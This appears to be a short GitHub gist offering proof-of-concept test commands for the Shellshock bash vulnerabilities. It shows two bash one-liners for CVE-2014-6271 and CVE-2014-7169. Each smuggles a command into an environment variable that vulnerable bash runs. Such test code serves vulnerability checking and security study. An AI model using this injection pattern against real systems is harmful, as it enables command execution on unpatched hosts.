wh1t3P1g wh1t3p1g

🎯

Focusing

Study On Web Security && Code review (semi-auto and manual)

sgviking / shellshock_poc.md

Last active October 29, 2020 11:05

PoC for 6 shellshock CVE's

shellshock PoC/test code

env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id

# will create a file named echo in cwd with date in it, if vulnerable
env X='() { (a)=>\' bash -c "echo date"; cat echo